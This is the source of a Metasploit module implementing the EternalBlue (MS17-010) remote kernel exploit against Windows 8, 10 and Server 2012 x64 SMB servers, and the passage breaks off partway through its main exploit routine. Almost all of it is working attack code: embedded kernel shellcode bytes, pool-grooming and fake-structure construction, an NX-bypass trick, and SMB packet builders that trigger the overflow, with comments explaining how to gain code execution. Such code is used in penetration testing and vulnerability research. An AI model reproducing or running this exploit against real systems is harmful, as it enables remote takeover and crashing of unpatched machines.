text: #!/usr/bin/env python3
  
  import sys
  import socket
  from struct import pack
  from base64 import b64decode
  
  try:
      from impacket import smb, ntlm
  except ImportError:
      dependencies_missing = True
  else:
      dependencies_missing = False
  
  from metasploit import module
  
  metadata = {
      'name': 'MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+',
      'description': '''
          EternalBlue exploit for Windows 8, Windows 10, and 2012 by sleepya
          The exploit might FAIL and CRASH a target system (depended on what is overwritten)
          The exploit support only x64 target
  
          Tested on:
          - Windows 2012 R2 x64
          - Windows 8.1 x64
          - Windows 10 Pro Build 10240 x64
          - Windows 10 Enterprise Evaluation Build 10586 x64
  
  
          Default Windows 8 and later installation without additional service info:
          - anonymous is not allowed to access any share (including IPC$)
            - More info: https://support.microsoft.com/en-us/help/3034016/ipc-share-and-null-session-behavior-in-windows
          - tcp port 445 is filtered by firewall
  
  
          Reference:
          - http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
          - "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" https://drive.google.com/file/d/0B3P18M-shbwrNWZTa181ZWRCclk/edit
  
  
          Exploit info:
          - If you do not know how exploit for Windows 7/2008 work. Please read my exploit for Windows 7/2008 at
              https://gist.github.com/worawit/bd04bad3cd231474763b873df081c09a because the trick for exploit is almost the same
          - The exploit use heap of HAL for placing fake struct (address 0xffffffffffd00e00) and shellcode (address 0xffffffffffd01000).
              On Windows 8 and Wndows 2012, the NX bit is set on this memory page. Need to disable it before controlling RIP.
          - The exploit is likely to crash a target when it failed
          - The overflow is happened on nonpaged pool so we need to massage target nonpaged pool.
          - If exploit failed but target does not crash, try increasing 'GroomAllocations' value (at least 5)
          - See the code and comment for exploit detail.
  
  
          Disable NX method:
          - The idea is from "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" (see link in reference)
          - The exploit is also the same but we need to trigger bug twice
          - First trigger, set MDL.MappedSystemVa to target pte address
          - Write '\\x00' to disable the NX flag
          - Second trigger, do the same as Windows 7 exploit
          - From my test, if exploit disable NX successfully, I always get code execution
      ''',
      'authors': [
          'Equation Group',  # OG research and exploit
          'Shadow Brokers',  # Hack and dump
          'sleepya',         # Research and PoC
          'wvu'              # Babby's first external module
      ],
      'references': [
          {'type': 'msb', 'ref': 'MS17-010'},
          {'type': 'cve', 'ref': '2017-0143'},
          {'type': 'cve', 'ref': '2017-0144'},
          {'type': 'cve', 'ref': '2017-0145'},
          {'type': 'cve', 'ref': '2017-0146'},
          {'type': 'cve', 'ref': '2017-0147'},
          {'type': 'cve', 'ref': '2017-0148'},
          {'type': 'edb', 'ref': '42030'},
          {'type': 'url', 'ref': 'https://github.com/worawit/MS17-010'}
      ],
      'date': 'Mar 14 2017',
      'type': 'remote_exploit',
      'rank': 'average',
      'privileged': True,
      'wfsdelay': 5,
      'targets': [
          {'platform': 'win', 'arch': 'x64'}
      ],
      'options': {
          'RHOST': {'type': 'address', 'description': 'Target server', 'required': True, 'default': None},
          'RPORT': {'type': 'port', 'description': 'Target server port', 'required': True, 'default': 445},
          'ProcessName': {'type': 'string', 'description': 'Process to inject payload into.', 'required': False, 'default': 'spoolsv.exe'},
          'GroomAllocations': {'type': 'int', 'description': 'Initial number of times to groom the kernel pool.', 'required': True, 'default': 13},
          # if anonymous can access any share folder, 'IPC$' is always accessible.
          # authenticated user is always able to access 'IPC$'.
          # Windows 2012 does not allow anonymous to login if no share is accessible.
          'SMBUser': {'type': 'string', 'description': '(Optional) The username to authenticate as', 'required': False, 'default': ''},
          'SMBPass': {'type': 'string', 'description': '(Optional) The password for the specified username', 'required': False, 'default': ''}
      },
      'notes': {
          'AKA': ['ETERNALBLUE']
      }
  }
  
  
  
  def hash(process):
      # calc_hash from eternalblue_kshellcode_x64.asm
      proc_hash = 0
      for c in str( process + "\x00" ):
          proc_hash  = ror( proc_hash, 13 )
          proc_hash += ord( c )
      return pack('<I', proc_hash)
  
  def ror( dword, bits ):
      return ( dword >> bits | dword << ( 32 - bits ) ) & 0xFFFFFFFF
  
  # git clone https://github.com/worawit/MS17-010
  # cd MS17-010/shellcode
  # nasm -f bin eternalblue_kshellcode_x64.asm -o eternalblue_kshellcode_x64.bin
  def eternalblue_kshellcode_x64(process="spoolsv.exe"):
      proc_hash = hash(process)
      
      return (
      b'\x55\xe8\x2e\x00\x00\x00\xb9\x82\x00\x00\xc0\x0f\x32\x4c\x8d'+
      b'\x0d\x34\x00\x00\x00\x44\x39\xc8\x74\x19\x39\x45\x00\x74\x0a'+
      b'\x89\x55\x04\x89\x45\x00\xc6\x45\xf8\x00\x49\x91\x50\x5a\x48'+
      b'\xc1\xea\x20\x0f\x30\x5d\xc3\x48\x8d\x2d\x00\x10\x00\x00\x48'+
      b'\xc1\xed\x0c\x48\xc1\xe5\x0c\x48\x83\xed\x70\xc3\x0f\x01\xf8'+
      b'\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65\x48\x8b\x24\x25\xa8'+
      b'\x01\x00\x00\x6a\x2b\x65\xff\x34\x25\x10\x00\x00\x00\x50\x50'+
      b'\x55\xe8\xc5\xff\xff\xff\x48\x8b\x45\x00\x48\x83\xc0\x1f\x48'+
      b'\x89\x44\x24\x10\x51\x52\x41\x50\x41\x51\x41\x52\x41\x53\x31'+
      b'\xc0\xb2\x01\xf0\x0f\xb0\x55\xf8\x75\x14\xb9\x82\x00\x00\xc0'+
      b'\x8b\x45\x00\x8b\x55\x04\x0f\x30\xfb\xe8\x0e\x00\x00\x00\xfa'+
      b'\x41\x5b\x41\x5a\x41\x59\x41\x58\x5a\x59\x5d\x58\xc3\x41\x57'+
      b'\x41\x56\x57\x56\x53\x50\x4c\x8b\x7d\x00\x49\xc1\xef\x0c\x49'+
      b'\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x66\x41\x81\x3f\x4d'+
      b'\x5a\x75\xf1\x4c\x89\x7d\x08\x65\x4c\x8b\x34\x25\x88\x01\x00'+
      b'\x00\xbf\x78\x7c\xf4\xdb\xe8\x01\x01\x00\x00\x48\x91\xbf\x3f'+
      b'\x5f\x64\x77\xe8\xfc\x00\x00\x00\x8b\x40\x03\x89\xc3\x3d\x00'+
      b'\x04\x00\x00\x72\x03\x83\xc0\x10\x48\x8d\x50\x28\x4c\x8d\x04'+
      b'\x11\x4d\x89\xc1\x4d\x8b\x09\x4d\x39\xc8\x0f\x84\xc6\x00\x00'+
      b'\x00\x4c\x89\xc8\x4c\x29\xf0\x48\x3d\x00\x07\x00\x00\x77\xe6'+
      b'\x4d\x29\xce\xbf\xe1\x14\x01\x17\xe8\xbb\x00\x00\x00\x8b\x78'+
      b'\x03\x83\xc7\x08\x48\x8d\x34\x19\xe8\xf4\x00\x00\x00\x3d'+
      bytes(proc_hash) + b'\x74\x10\x3d' + bytes(proc_hash) + b'\x74\x09\x48\x8b\x0c'+
      b'\x39\x48\x29\xf9\xeb\xe0\xbf\x48\xb8\x18\xb8\xe8\x84\x00\x00'+
      b'\x00\x48\x89\x45\xf0\x48\x8d\x34\x11\x48\x89\xf3\x48\x8b\x5b'+
      b'\x08\x48\x39\xde\x74\xf7\x4a\x8d\x14\x33\xbf\x3e\x4c\xf8\xce'+
      b'\xe8\x69\x00\x00\x00\x8b\x40\x03\x48\x83\x7c\x02\xf8\x00\x74'+
      b'\xde\x48\x8d\x4d\x10\x4d\x31\xc0\x4c\x8d\x0d\xa9\x00\x00\x00'+
      b'\x55\x6a\x01\x55\x41\x50\x48\x83\xec\x20\xbf\xc4\x5c\x19\x6d'+
      b'\xe8\x35\x00\x00\x00\x48\x8d\x4d\x10\x4d\x31\xc9\xbf\x34\x46'+
      b'\xcc\xaf\xe8\x24\x00\x00\x00\x48\x83\xc4\x40\x85\xc0\x74\xa3'+
      b'\x48\x8b\x45\x20\x80\x78\x1a\x01\x74\x09\x48\x89\x00\x48\x89'+
      b'\x40\x08\xeb\x90\x58\x5b\x5e\x5f\x41\x5e\x41\x5f\xc3\xe8\x02'+
      b'\x00\x00\x00\xff\xe0\x53\x51\x56\x41\x8b\x47\x3c\x41\x8b\x84'+
      b'\x07\x88\x00\x00\x00\x4c\x01\xf8\x50\x8b\x48\x18\x8b\x58\x20'+
      b'\x4c\x01\xfb\xff\xc9\x8b\x34\x8b\x4c\x01\xfe\xe8\x1f\x00\x00'+
      b'\x00\x39\xf8\x75\xef\x58\x8b\x58\x24\x4c\x01\xfb\x66\x8b\x0c'+
      b'\x4b\x8b\x58\x1c\x4c\x01\xfb\x8b\x04\x8b\x4c\x01\xf8\x5e\x59'+
      b'\x5b\xc3\x52\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x85\xc0\x75'+
      b'\xf6\x92\x5a\xc3\x55\x53\x57\x56\x41\x57\x49\x8b\x28\x4c\x8b'+
      b'\x7d\x08\x52\x5e\x4c\x89\xcb\x31\xc0\x44\x0f\x22\xc0\x48\x89'+
      b'\x02\x89\xc1\x48\xf7\xd1\x49\x89\xc0\xb0\x40\x50\xc1\xe0\x06'+
      b'\x50\x49\x89\x01\x48\x83\xec\x20\xbf\xea\x99\x6e\x57\xe8\x65'+
      b'\xff\xff\xff\x48\x83\xc4\x30\x85\xc0\x75\x45\x48\x8b\x3e\x48'+
      b'\x8d\x35\x4d\x00\x00\x00\xb9\x00\x06\x00\x00\xf3\xa4\x48\x8b'+
      b'\x45\xf0\x48\x8b\x40\x18\x48\x8b\x40\x20\x48\x8b\x00\x66\x83'+
      b'\x78\x48\x18\x75\xf6\x48\x8b\x50\x50\x81\x7a\x0c\x33\x00\x32'+
      b'\x00\x75\xe9\x4c\x8b\x78\x20\xbf\x5e\x51\x5e\x83\xe8\x22\xff'+
      b'\xff\xff\x48\x89\x03\x31\xc9\x88\x4d\xf8\xb1\x01\x44\x0f\x22'+
      b'\xc1\x41\x5f\x5e\x5f\x5b\x5d\xc3\x48\x92\x31\xc9\x51\x51\x49'+
      b'\x89\xc9\x4c\x8d\x05\x0d\x00\x00\x00\x89\xca\x48\x83\xec\x20'+
      b'\xff\xd0\x48\x83\xc4\x30\xc3'
      )
  
  # because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000
  NTFEA_SIZE = 0x9000
  
  ntfea9000 = (pack('<BBH', 0, 0, 0) + b'\x00')*0x260  # with these fea, ntfea size is 0x1c80
  ntfea9000 += pack('<BBH', 0, 0, 0x735c) + b'\x00'*0x735d  # 0x8fe8 - 0x1c80 - 0xc = 0x735c
  ntfea9000 += pack('<BBH', 0, 0, 0x8147) + b'\x00'*0x8148  # overflow to SRVNET_BUFFER_HDR
  
  '''
  Reverse from srvnet.sys (Win2012 R2 x64)
  - SrvNetAllocateBufferFromPool() and SrvNetWskTransformedReceiveComplete():
  
  // size 0x90
  struct SRVNET_BUFFER_HDR {
      LIST_ENTRY list;
      USHORT flag; // 2 least significant bit MUST be clear. if 0x1 is set, pmdl pointers are access. if 0x2 is set, go to lookaside.
      char unknown0[6];
      char *pNetRawBuffer;  // MUST point to valid address (check if this request is "\xfdSMB")
      DWORD netRawBufferSize; // offset: 0x20
      DWORD ioStatusInfo;
      DWORD thisNonPagedPoolSize;  // will be 0x82e8 for netRawBufferSize 0x8100
      DWORD pad2;
      char *thisNonPagedPoolAddr; // 0x30  points to SRVNET_BUFFER
      PMDL pmdl1; // point at offset 0x90 from this struct
      DWORD nByteProcessed; // 0x40
      char unknown4[4];
      QWORD smbMsgSize; // MUST be modified to size of all recv data
      PMDL pmdl2; // 0x50:  if want to free corrupted buffer, need to set to valid address
      QWORD pSrvNetWskStruct;  // want to change to fake struct address
      DWORD unknown6; // 0x60
      char unknown7[12];
      char unknown8[0x20];
  };
  
  struct SRVNET_BUFFER {
      char transportHeader[80]; // 0x50
      char buffer[reqSize+padding];  // 0x8100 (for pool size 0x82f0), 0x10100 (for pool size 0x11000)
      SRVNET_BUFFER_HDR hdr; //some header size 0x90
      //MDL mdl1; // target
  };
  
  In Windows 8, the srvnet buffer metadata is declared after real buffer. We need to overflow through whole receive buffer.
  Because transaction max data count is 66512 (0x103d0) in SMB_COM_NT_TRANSACT command and
    DataDisplacement is USHORT in SMB_COM_TRANSACTION2_SECONDARY command, we cannot send large trailing data after FEALIST.
  So the possible srvnet buffer pool size is 0x82f0. With this pool size, we need to overflow more than 0x8150 bytes.
  If exploit cannot overflow to prepared SRVNET_BUFFER, the target is likely to crash because of big overflow.
  '''
  # Most field in overwritten (corrupted) srvnet struct can be any value because it will be left without free (memory leak) after processing
  # Here is the important fields on x64
  # - offset 0x18 (VOID*) : pointer to received SMB message buffer. This value MUST be valid address because there is
  #                           a check in SrvNetWskTransformedReceiveComplete() if this message starts with "\xfdSMB".
  # - offset 0x48 (QWORD) : the SMB message length from packet header (first 4 bytes).
  #                           This value MUST be exactly same as the number of bytes we send.
  #                           Normally, this value is 0x80 + len(fake_struct) + len(shellcode)
  # - offset 0x58 (VOID*) : pointer to a struct contained pointer to function. the pointer to function is called when done receiving SMB request.
  #                           The value MUST point to valid (might be fake) struct.
  # - offset 0x90 (MDL)   : MDL for describe receiving SMB request buffer
  #   - 0x90 (VOID*)    : MDL.Next should be NULL
  #   - 0x98 (USHORT)   : MDL.Size should be some value that not too small
  #   - 0x9a (USHORT)   : MDL.MdlFlags should be 0x1004 (MDL_NETWORK_HEADER|MDL_SOURCE_IS_NONPAGED_POOL)
  #   - 0x90 (VOID*)    : MDL.Process should be NULL
  #   - 0x98 (VOID*)    : MDL.MappedSystemVa MUST be a received network buffer address. Controlling this value get arbitrary write.
  #                         The address for arbitrary write MUST be subtracted by a number of sent bytes (0x80 in this exploit).
  #
  #
  # To free the corrupted srvnet buffer (not necessary), shellcode MUST modify some memory value to satisfy condition.
  # Here is related field for freeing corrupted buffer
  # - offset 0x10 (USHORT): 2 least significant bit MUST be clear. Just set to 0xfff0
  # - offset 0x30 (VOID*) : MUST be fixed to correct value in shellcode. This is the value that passed to ExFreePoolWithTag()
  # - offset 0x40 (DWORD) : be a number of total byte received. This field MUST be set by shellcode because SrvNetWskReceiveComplete() set it to 0
  #                           before calling SrvNetCommonReceiveHandler(). This is possible because pointer to SRVNET_BUFFER struct is passed to
  #                           your shellcode as function argument
  # - offset 0x50 (PMDL)  : points to any fake MDL with MDL.Flags 0x20 does not set
  # The last condition is your shellcode MUST return non-negative value. The easiest way to do is "xor eax,eax" before "ret".
  # Here is x64 assembly code for setting nByteProcessed field
  # - fetch SRVNET_BUFFER address from function argument
  #     \x48\x8b\x54\x24\x40  mov rdx, [rsp+0x40]
  # - fix pool pointer (rcx is -0x8150 because of fake_recv_struct below)
  #     \x48\x01\xd1          add rcx, rdx
  #     \x48\x89\x4a\x30      mov [rdx+0x30], rcx
  # - set nByteProcessed for trigger free after return
  #     \x8b\x4a\x48          mov ecx, [rdx+0x48]
  #     \x89\x4a\x40          mov [rdx+0x40], ecx
  
  # debug mode affects HAL heap. The 0xffffffffffd04000 address should be useable no matter what debug mode is.
  # The 0xffffffffffd00000 address should be useable when debug mode is not enabled
  # The 0xffffffffffd01000 address should be useable when debug mode is enabled
  TARGET_HAL_HEAP_ADDR = 0xffffffffffd04000  # for put fake struct and shellcode
  
  # Note: feaList will be created after knowing shellcode size.
  
  # feaList for disabling NX is possible because we just want to change only MDL.MappedSystemVa
  # PTE of 0xffffffffffd00000 is at 0xfffff6ffffffe800
  # NX bit is at PTE_ADDR+7
  # MappedSystemVa = PTE_ADDR+7 - 0x7f
  SHELLCODE_PAGE_ADDR = (TARGET_HAL_HEAP_ADDR + 0x400) & 0xfffffffffffff000
  PTE_ADDR = 0xfffff6ffffffe800 + 8*((SHELLCODE_PAGE_ADDR-0xffffffffffd00000) >> 12)
  fakeSrvNetBufferX64Nx = b'\x00'*16
  fakeSrvNetBufferX64Nx += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR)
  fakeSrvNetBufferX64Nx += b'\x00'*16
  fakeSrvNetBufferX64Nx += b'\x00'*16
  fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
  fakeSrvNetBufferX64Nx += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR)  # _, _, pointer to fake struct
  fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
  fakeSrvNetBufferX64Nx += b'\x00'*16
  fakeSrvNetBufferX64Nx += b'\x00'*16
  fakeSrvNetBufferX64Nx += pack('<QHHI', 0, 0x60, 0x1004, 0)  # MDL.Next, MDL.Size, MDL.MdlFlags
  fakeSrvNetBufferX64Nx += pack('<QQ', 0, PTE_ADDR+7-0x7f)  # MDL.Process, MDL.MappedSystemVa
  
  feaListNx = pack('<I', 0x10000)
  feaListNx += ntfea9000
  feaListNx += pack('<BBH', 0, 0, len(fakeSrvNetBufferX64Nx)-1) + fakeSrvNetBufferX64Nx # -1 because first '\x00' is for name
  # stop copying by invalid flag (can be any value except 0 and 0x80)
  feaListNx += pack('<BBH', 0x12, 0x34, 0x5678)
  
  
  def createFakeSrvNetBuffer(sc_size):
      # 0x180 is size of fakeSrvNetBufferX64
      totalRecvSize = 0x80 + 0x180 + sc_size
      fakeSrvNetBufferX64 = b'\x00'*16
      fakeSrvNetBufferX64 += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR)  # flag, _, _, pNetRawBuffer
      fakeSrvNetBufferX64 += pack('<QII', 0, 0x82e8, 0)  # _, thisNonPagedPoolSize, _
      fakeSrvNetBufferX64 += b'\x00'*16
      fakeSrvNetBufferX64 += pack('<QQ', 0, totalRecvSize)  # offset 0x40
      fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR)  # pmdl2, pointer to fake struct
      fakeSrvNetBufferX64 += pack('<QQ', 0, 0)
      fakeSrvNetBufferX64 += b'\x00'*16
      fakeSrvNetBufferX64 += b'\x00'*16
      fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0)  # MDL.Next, MDL.Size, MDL.MdlFlags
      fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR-0x80)  # MDL.Process, MDL.MappedSystemVa
  
      return fakeSrvNetBufferX64
  
  def createFeaList(sc_size):
      feaList = pack('<I', 0x10000)
      feaList += ntfea9000
      fakeSrvNetBuf = createFakeSrvNetBuffer(sc_size)
      feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuf)-1) + fakeSrvNetBuf # -1 because first '\x00' is for name
      # stop copying by invalid flag (can be any value except 0 and 0x80)
      feaList += pack('<BBH', 0x12, 0x34, 0x5678)
      return feaList
  
  # fake struct for SrvNetWskTransformedReceiveComplete() and SrvNetCommonReceiveHandler()
  # x64: fake struct is at ffffffff ffd00e00
  #   offset 0x50:  KSPIN_LOCK
  #   offset 0x58:  LIST_ENTRY must be valid address. cannot be NULL.
  #   offset 0x110: array of pointer to function
  #   offset 0x13c: set to 3 (DWORD) for invoking ptr to function
  # some useful offset
  #   offset 0x120: arg1 when invoking ptr to function
  #   offset 0x128: arg2 when invoking ptr to function
  #
  # code path to get code exection after this struct is controlled
  # SrvNetWskTransformedReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
  fake_recv_struct = (b'\x00'*16)*5
  fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x58)  # offset 0x50: KSPIN_LOCK, (LIST_ENTRY to itself)
  fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x58, 0)  # offset 0x60
  fake_recv_struct += (b'\x00'*16)*10
  fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x170, 0)  # offset 0x110: fn_ptr array
  fake_recv_struct += pack('<QQ', (0x8150^0xffffffffffffffff)+1, 0)  # set arg1 to -0x8150
  fake_recv_struct += pack('<QII', 0, 0, 3)  # offset 0x130
  fake_recv_struct += (b'\x00'*16)*3
  fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x180)  # shellcode address
  
  
  def getNTStatus(self):
      return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
  if not dependencies_missing:
      setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)
  
  def sendEcho(conn, tid, data):
      pkt = smb.NewSMBPacket()
      pkt['Tid'] = tid
  
      transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
      transCommand['Parameters'] = smb.SMBEcho_Parameters()
      transCommand['Data'] = smb.SMBEcho_Data()
  
      transCommand['Parameters']['EchoCount'] = 1
      transCommand['Data']['Data'] = data
      pkt.addCommand(transCommand)
  
      conn.sendSMB(pkt)
      recvPkt = conn.recvSMB()
      if recvPkt.getNTStatus() == 0:
          module.log('got good ECHO response')
      else:
          module.log('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()), 'error')
  
  
  # override SMB.neg_session() to allow forcing ntlm authentication
  if not dependencies_missing:
      class MYSMB(smb.SMB):
          def __init__(self, remote_host, port, use_ntlmv2=True):
              self.__use_ntlmv2 = use_ntlmv2
              smb.SMB.__init__(self, remote_host, remote_host, sess_port = port)
  
          def neg_session(self, extended_security = True, negPacket = None):
              smb.SMB.neg_session(self, extended_security=self.__use_ntlmv2, negPacket=negPacket)
  
  def createSessionAllocNonPaged(target, port, size, username, password):
      conn = MYSMB(target, port, use_ntlmv2=False)  # with this negotiation, FLAGS2_EXTENDED_SECURITY is not set
      _, flags2 = conn.get_flags()
      # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
      if size >= 0xffff:
          flags2 &= ~smb.SMB.FLAGS2_UNICODE
          reqSize = size // 2
      else:
          flags2 |= smb.SMB.FLAGS2_UNICODE
          reqSize = size
      conn.set_flags(flags2=flags2)
  
      pkt = smb.NewSMBPacket()
  
      sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
      sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
  
      sessionSetup['Parameters']['MaxBufferSize']      = 61440  # can be any value greater than response size
      sessionSetup['Parameters']['MaxMpxCount']        = 2  # can by any value
      sessionSetup['Parameters']['VcNumber']           = 2  # any non-zero
      sessionSetup['Parameters']['SessionKey']         = 0
      sessionSetup['Parameters']['SecurityBlobLength'] = 0  # this is OEMPasswordLen field in another format. 0 for NULL session
      sessionSetup['Parameters']['Capabilities']       = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS
  
      sessionSetup['Data'] = pack('<H', reqSize) + b'\x00'*20
      pkt.addCommand(sessionSetup)
  
      conn.sendSMB(pkt)
      recvPkt = conn.recvSMB()
      if recvPkt.getNTStatus() == 0:
          module.log('SMB1 session setup allocate nonpaged pool success')
          return conn
  
      if username:
          # Try login with valid user because anonymous user might get access denied on Windows Server 2012.
          # Note: If target allows only NTLMv2 authentication, the login will always fail.
          # support only ascii because I am lazy to implement Unicode (need pad for alignment and converting username to utf-16)
          flags2 &= ~smb.SMB.FLAGS2_UNICODE
          reqSize = size // 2
          conn.set_flags(flags2=flags2)
  
          # new SMB packet to reset flags
          pkt = smb.NewSMBPacket()
          pwd_unicode = conn.get_ntlmv1_response(ntlm.compute_nthash(password))
          # UnicodePasswordLen field is in Reserved for extended security format.
          sessionSetup['Parameters']['Reserved'] = len(pwd_unicode)
  
          sessionSetup['Data'] = pack('<H', reqSize+len(pwd_unicode)+len(username)) + pwd_unicode + username.encode() + b'\x00'*16
          pkt.addCommand(sessionSetup)
  
          conn.sendSMB(pkt)
          recvPkt = conn.recvSMB()
          if recvPkt.getNTStatus() == 0:
              module.log('SMB1 session setup allocate nonpaged pool success')
              return conn
  
      # lazy to check error code, just print fail message
      module.log('SMB1 session setup allocate nonpaged pool failed', 'error')
      sys.exit(1)
  
  
  # Note: impacket-0.9.15 struct has no ParameterDisplacement
  ############# SMB_COM_TRANSACTION2_SECONDARY (0x33)
  if not dependencies_missing:
      class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
          structure = (
              ('TotalParameterCount', '<H=0'),
              ('TotalDataCount', '<H'),
              ('ParameterCount', '<H=0'),
              ('ParameterOffset', '<H=0'),
              ('ParameterDisplacement', '<H=0'),
              ('DataCount', '<H'),
              ('DataOffset', '<H'),
              ('DataDisplacement', '<H=0'),
              ('FID', '<H=0'),
         )
  
  def send_trans2_second(conn, tid, data, displacement):
      pkt = smb.NewSMBPacket()
      pkt['Tid'] = tid
  
      # assume no params
  
      transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
      transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
      transCommand['Data'] = smb.SMBTransaction2Secondary_Data()
  
      transCommand['Parameters']['TotalParameterCount'] = 0
      transCommand['Parameters']['TotalDataCount'] = len(data)
  
      fixedOffset = 32+3+18
      transCommand['Data']['Pad1'] = b''
  
      transCommand['Parameters']['ParameterCount'] = 0
      transCommand['Parameters']['ParameterOffset'] = 0
  
      if len(data) > 0:
          pad2Len = (4 - fixedOffset % 4) % 4
          transCommand['Data']['Pad2'] = b'\xFF' * pad2Len
      else:
          transCommand['Data']['Pad2'] = b''
          pad2Len = 0
  
      transCommand['Parameters']['DataCount'] = len(data)
      transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
      transCommand['Parameters']['DataDisplacement'] = displacement
  
      transCommand['Data']['Trans_Parameters'] = b''
      transCommand['Data']['Trans_Data'] = data
      pkt.addCommand(transCommand)
  
      conn.sendSMB(pkt)
  
  
  def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
      pkt = smb.NewSMBPacket()
      pkt['Tid'] = tid
  
      command = pack('<H', setup)
  
      # Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug.
      transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
      transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
      transCommand['Parameters']['MaxSetupCount'] = 1
      transCommand['Parameters']['MaxParameterCount'] = len(param)
      transCommand['Parameters']['MaxDataCount'] = 0
      transCommand['Data'] = smb.SMBTransaction2_Data()
  
      transCommand['Parameters']['Setup'] = command
      transCommand['Parameters']['TotalParameterCount'] = len(param)
      transCommand['Parameters']['TotalDataCount'] = len(data)
  
      fixedOffset = 32+3+38 + len(command)
      if len(param) > 0:
          padLen = (4 - fixedOffset % 4 ) % 4
          padBytes = b'\xFF' * padLen
          transCommand['Data']['Pad1'] = padBytes
      else:
          transCommand['Data']['Pad1'] = b''
          padLen = 0
  
      transCommand['Parameters']['ParameterCount'] = len(param)
      transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen
  
      if len(data) > 0:
          pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
          transCommand['Data']['Pad2'] = b'\xFF' * pad2Len
      else:
          transCommand['Data']['Pad2'] = b''
          pad2Len = 0
  
      transCommand['Parameters']['DataCount'] = firstDataFragmentSize
      transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len
  
      transCommand['Data']['Trans_Parameters'] = param
      transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
      pkt.addCommand(transCommand)
  
      conn.sendSMB(pkt)
      recvPkt = conn.recvSMB() # must be success
      if recvPkt.getNTStatus() == 0:
          module.log('got good NT Trans response')
      else:
          module.log('got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus()), 'error')
          sys.exit(1)
      
      # Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data
      i = firstDataFragmentSize
      while i < len(data):
          sendSize = min(4096, len(data) - i)
          if len(data) - i <= 4096:
              if not sendLastChunk:
                  break
          send_trans2_second(conn, tid, data[i:i+sendSize], i)
          i += sendSize
  
      if sendLastChunk:
          conn.recvSMB()
  
  
      return i
  
  
  # connect to target and send a large nbss size with data 0x80 bytes
  # this method is for allocating big nonpaged pool on target
  def createConnectionWithBigSMBFirst80(target, port, for_nx=False):
      sk = socket.create_connection((target, port))
      pkt = b'\x00' + b'\x00' + pack('>H', 0x8100)
      # There is no need to be SMB2 because we want the target free the corrupted buffer.
      # Also this is invalid SMB2 message.
      # I believe NSA exploit use SMB2 for hiding alert from IDS
      #pkt += '\xfeSMB' # smb2
      # it can be anything even it is invalid
      pkt += b'BAAD' # can be any
      if for_nx:
          # MUST set no delay because 1 byte MUST be sent immediately
          sk.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
          pkt += b'\x00'*0x7b  # another byte will be sent later to disabling NX
      else:
          pkt += b'\x00'*0x7c
      sk.send(pkt)
      return sk
  
  
  def _exploit(target, port, feaList, shellcode, numGroomConn, username, password):
      # force using smb.SMB for SMB1
      conn = smb.SMB(target, target, sess_port = port)
      conn.login(username, password)
      server_os = conn.get_server_os()
      module.log('Target OS: '+server_os)
      if server_os.startswith("Windows 10 "):
          build = int(server_os.split()[-1])
          if build >= 14393:  # version 1607
              module.log('This exploit does not support this build: {} >= 14393'.format(build), 'error')
              sys.exit(1)
      elif not (server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ")):
          module.log('This exploit does not support this target: {}'.format(server_os), 'error')
          sys.exit(1)
  
      tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
  
      # The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
      # Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment
      progress = send_big_trans2(conn, tid, 0, feaList, b'\x00'*30, len(feaList)%4096, False)
      
  
      # Another TRANS2_OPEN2 (0) with special feaList for disabling NX
      nxconn = smb.SMB(target, target, sess_port = port)
      nxconn.login(username, password)
